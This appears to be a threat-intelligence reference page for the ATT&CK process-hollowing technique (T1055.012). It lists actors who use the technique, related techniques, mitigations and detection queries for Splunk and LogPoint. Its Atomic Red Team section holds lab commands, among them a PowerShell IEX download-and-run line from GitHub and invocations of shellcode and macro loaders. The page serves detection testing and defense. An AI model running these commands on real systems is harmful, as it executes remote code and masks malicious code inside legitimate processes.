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ATT&CK Technique

Process Hollowing

T1055.012 · stealth, privilege-escalation

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code.

A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively. This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

Windows
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Actors Using This

14
latin_america_brazilian_organized_cybercrimeAmavaldo
russia_speaking_cybercrime8Base
latin_america_brazilian_organized_cybercrimeCasbaneiro / Metamorfo
austrian_commercial_spyware_vendor_psoaDSIRF (Knotweed)
chinaEarth Alux
uk_germany_commercial_spyware_vendor_dissolvedFinFisher (FinSpy / Gamma Group)
latin_america_brazilian_organized_cybercrimeGuildma / Astaroth
italian_commercial_spyware_vendor_active_through_memento_labs_rebrandHacking Team (Memento Labs / RCS Lab)
latin_america_brazilian_organized_cybercrimeJavali
russia_aligned_state_actor_dragos_tracked_distinct_from_sandworm_electrumKAMACITE
latin_america_brazilian_organized_cybercrimeMekotio
latin_america_brazilian_organized_cybercrimeMelcoz
latin_america_brazilian_organized_cybercrimeNumando
latin_america_brazilian_organized_cybercrimeOusaban
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Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
persistence earlier
T1037 · Boot or Logon Initialization Scripts ×3.66
privilege-escalation same
T1055 · Process Injection ×2.98
discovery later
T1614.001 · System Language Discovery ×6.94T1614 · System Location Discovery ×2.70T1497.003 · Time Based Checks ×2.59
collection later
T1056.002 · GUI Input Capture ×8.37T1185 · Browser Session Hijacking ×6.38T1125 · Video Capture ×3.13T1123 · Audio Capture ×2.83
impact later
T1499 · Endpoint Denial of Service ×4.18
other same
T1218.007 · Msiexec ×6.87T1014 · Rootkit ×3.31T1553 · Subvert Trust Controls ×3.05T1620 · Reflective Code Loading ×2.98T1036.001 · Invalid Code Signature ×2.83
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Atomic Tests

4
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellwindowsProcess Hollowing using PowerShell
This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent. Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1) 
. "#{script_path}"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
powershellwindowsRunPE via VBA
This module executes notepad.exe from within the WINWORD.EXE process 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt" -officeProduct "#{ms_product}" -sub "Exploit"
powershellwindowsProcess Hollowing in Go using CreateProcessW WinAPI
Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess) 
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug
powershellwindowsProcess Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)
Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process. This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe allows for the retrieval of output generated from executed shellcode. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe) 
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug
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Mitigations

1
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1040Behavior Prevention on Endpoint

Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack.

Suspicious Process Behavior
  • Implementation: Use Endpoint Detection and Response (EDR) tools to monitor and block processes exhibiting unusual behavior, such as privilege escalation attempts.
  • Use Case: An attacker uses a known vulnerability to spawn a privileged process from a user-level application. The endpoint tool detects the abnormal parent-child process relationship and blocks the action.
Unauthorized File Access
  • Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.
  • Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.
Abnormal API Calls
  • Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.
  • Use Case: A process dynamically injects itself into another process to hijack its execution. The endpoint detects the abnormal use of APIs like OpenProcess and WriteProcessMemory and terminates the offending process.
Exploit Prevention
  • Implementation: Use behavioral exploit prevention tools to detect and block exploits attempting to gain unauthorized access.
  • Use Case: A buffer overflow exploit is launched against a vulnerable application. The endpoint detects the anomalous memory write operation and halts the process.
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Detection Coverage

2/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 4
Analytics (MITRE CAR) 1
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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CAR Analytics

1
MITRE Cyber Analytics Repository - field-tested detection logic for this technique, written as pseudocode/queries you adapt to your own SIEM (Splunk, Sentinel, EQL). Each is a ready starting point for a detection rule, not just a description.
CAR-2020-11-004Low coverageProcesses Started From Irregular Parent

Adversaries may start legitimate processes and then use their memory space to run malicious code. This analytic looks for common Windows processes that have been abused this way in the past.

when the processes are started for this purpose they may not have the standard parent that we would expect. This list is not exhaustive, and it is possible for cyber actors to avoid this discepency. These signatures only work if Sysmon reports the parent process, which may not always be the case if the parent dies before sysmon processes the event.

Pseudocode - Pseudocode - common processes that do not have the correct parent
processes = search Process:Create
mismatch_processes = filter processes where ( parent_exe exists AND
  (exe="smss.exe" AND (parent_exe!="smss.exe" AND parent_exe!="System") OR
  (exe="csrss.exe" AND (parent_exe!="smss.exe" AND parent_exe!="svchost.exe")) OR
  (exe="wininit.exe" AND parent_exe!="smss.exe") OR
  (exe="winlogon.exe" AND parent_exe!="smss.exe") OR
  (exe="lsass.exe" AND (parent_exe!="wininit.exe" AND parent_exe!="winlogon.exe")) OR
  (exe="LogonUI.exe" AND (parent_exe!="winlogon.exe" AND parent_exe!="wininit.exe")) OR
  (exe="services.exe" AND parent_exe!="wininit.exe") OR
  (exe="spoolsv.exe" AND parent_exe!="services.exe") OR
  (exe="taskhost.exe" AND (parent_exe!="services.exe" AND parent_exe!="svchost.exe")) OR
  (exe="taskhostw.exe" AND (parent_exe!="services.exe" AND parent_exe!="svchost.exe")) OR
  (exe="userinit.exe" AND (parent_exe!="dwm.exe" AND parent_exe!="winlogon.exe"))
output mismatch_processes
Splunk - Splunk Search - parent/child mismatch
(index=__your_sysmon_index__ EventCode=1) AND ParentImage!="?" AND ParentImage!="C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe" AND ParentImage!="C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe" AND
((Image="C:\\Windows\System32\\smss.exe" AND (ParentImage!="C:\\Windows\\System32\\smss.exe" AND ParentImage!="System")) OR
(Image="C:\\Windows\\System32\\csrss.exe" AND (ParentImage!="C:\\Windows\\System32\\smss.exe" AND ParentImage!="C:\\Windows\\System32\\svchost.exe")) OR
(Image="C:\\Windows\\System32\\wininit.exe" AND ParentImage!="C:\\Windows\\System32\\smss.exe") OR
(Image="C:\\Windows\\System32\\winlogon.exe" AND ParentImage!="C:\\Windows\\System32\\smss.exe") OR
(Image="C:\\Windows\\System32\\lsass.exe" and ParentImage!="C:\\Windows\\System32\\wininit.exe") OR
(Image="C:\\Windows\\System32\\LogonUI.exe" AND (ParentImage!="C:\\Windows\\System32\\winlogon.exe" AND ParentImage!="C:\\Windows\\System32\\wininit.exe")) OR
(Image="C:\\Windows\\System32\\services.exe" AND ParentImage!="C:\\Windows\\System32\\wininit.exe") OR
(Image="C:\\Windows\\System32\\spoolsv.exe" AND ParentImage!="C:\\Windows\\System32\\services.exe") OR
(Image="C:\\Windows\\System32\\taskhost.exe" AND (ParentImage!="C:\\Windows\\System32\\services.exe" AND ParentImage!="C:\\Windows\\System32\\svchost.exe")) OR
(Image="C:\\Windows\\System32\\taskhostw.exe" AND (ParentImage!="C:\\Windows\\System32\\services.exe" AND ParentImage!="C:\\Windows\\System32\\svchost.exe")) OR
(Image="C:\\Windows\System32\\userinit.exe" AND (ParentImage!="C:\\Windows\\System32\\dwm.exe" AND ParentImage!="C:\\Windows\\System32\\winlogon.exe")))
LogPoint - LogPoint Search - parent/child mismatch
norm_id=WindowsSysmon event_id=1 -parent_image="?" ((image="*\smss.exe" (-parent_image="*\smss.exe" -parent_image="*\System")) OR
(image="*\csrss.exe" (-parent_image="*\smss.exe" -parent_image="*\svchost.exe")) OR (image="*\wininit.exe" -parent_image="*\smss.exe") OR
(image="*\winlogon.exe" -parent_image="*\smss.exe") OR (image="*\lsass.exe"  (-parent_image="*\wininit.exe"  -parent_image="*\winlogon.exe")) OR
(image="*\LogonUI.exe"  (-parent_image="*\winlogon.exe"  -parent_image="*\wininit.exe")) OR (image="*\services.exe"  -parent_image="*\wininit.exe") OR
(image="*\spoolsv.exe"  -parent_image="*\services.exe") OR (image="*\taskhost.exe"  (-parent_image="*\services.exe"  -parent_image="*\svchost.exe")) OR
(image="*\taskhostw.exe"  (-parent_image="*\services.exe"  -parent_image="*\svchost.exe")) OR
(image="*\userinit.exe"  (-parent_image="*\dwm.exe"  -parent_image="*\winlogon.exe")))
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Comply & Defend

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